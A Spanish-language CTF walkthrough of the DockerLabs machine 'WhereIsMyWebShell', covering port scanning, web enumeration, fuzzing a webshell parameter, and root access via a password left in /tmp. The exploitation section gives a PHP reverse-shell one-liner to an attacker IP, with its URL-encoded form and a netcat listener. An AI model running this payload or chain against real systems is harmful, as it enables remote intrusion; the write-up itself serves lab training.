WhereIsMyWebShell
Introducción
Sección titulada «Introducción»En este artículo detallo el proceso de resolución del CTF WhereIsMyWebShell, una máquina virtual creada por El Pingüino de Mario. Se describen paso a paso las herramientas utilizadas y técnicas aplicadas para comprometer la máquina, desde el reconocimiento inicial hasta la obtención de acceso como superusuario.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: WhereIsMyWebShell
- Autor: El Pingüino de Mario
- Nivel de Dificultad: Fácil
- Fecha de creación: 12/04/2024
Paso 0: Instalación / Despliegue
Sección titulada «Paso 0: Instalación / Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo:
Ventana de terminal unzip WhereIsMyWebShell.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh WhereIsMyWebShell.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de IP
Sección titulada «Identificación de IP»Al iniciar la máquina, se muestra directamente su dirección IP, por lo que no es necesario realizar un escaneo ARP.

Organizamos el entorno de trabajo:
mkdir WhereIsMyWebShellcd WhereIsMyWebShellmkt # Crea: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Realizamos un escaneo completo de puertos con nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Detección de Servicios
Sección titulada «Detección de Servicios»Identificamos los servicios en ejecución en los puertos abiertos:
nmap -sCV -p22,80 172.17.0.2 -oN targeted
Enumeración Web
Sección titulada «Enumeración Web»Enumeramos contenido del sitio web con gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Archivos identificados:
-
index.html: Página básica de una academia de inglés.
-
warning.html: Contiene una advertencia y pista relacionada con una webshell.
-
shell.php: Una posible webshell.
Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Sabemos que la webshell está ubicada en http://172.17.0.2/shell.php. Para descubrir el parámetro vulnerable, utilizamos ffuf:
ffuf -u "http://172.17.0.2/shell.php?FUZZ=test" \ -w /usr/share/seclists/Discovery/Web-Content/bup-parameter-names.txt \ -fs 0
El parámetro parameter resulta funcional. Probamos con comandos básicos:

Reverse Shell
Sección titulada «Reverse Shell»-
Escuchamos con
netcaten nuestra máquina atacante:Ventana de terminal nc -lvp 443 -
Ejecutamos un payload en la webshell codificado por URL:
php -r '$sock=fsockopen("172.17.0.1",443);exec("bash <&3 >&3 2>&3");'URL codificada:
http://172.17.0.2/shell.php?parameter=php -r '%24sock%3Dfsockopen("172.17.0.1"%2C443)%3Bexec("bash <%263 >%263 2>%263")%3B'

Con esto, obtenemos una reverse shell como el usuario www-data.

Elevación de Privilegios
Sección titulada «Elevación de Privilegios»Exploramos el sistema y encontramos una pista en el directorio /tmp:

El archivo contenía una contraseña válida para escalar privilegios.
Nos autenticamos como root:
su
Ya tenemos acceso completo como superusuario:

Conclusión
Sección titulada «Conclusión»La máquina WhereIsMyWebShell es una excelente práctica para reforzar conocimientos sobre explotación web, enumeración de parámetros HTTP, ejecución remota de comandos y escalada de privilegios mediante pistas ocultas. A través de herramientas como nmap, gobuster, ffuf, netcat y técnicas de reverse shell, logramos comprometer completamente el sistema.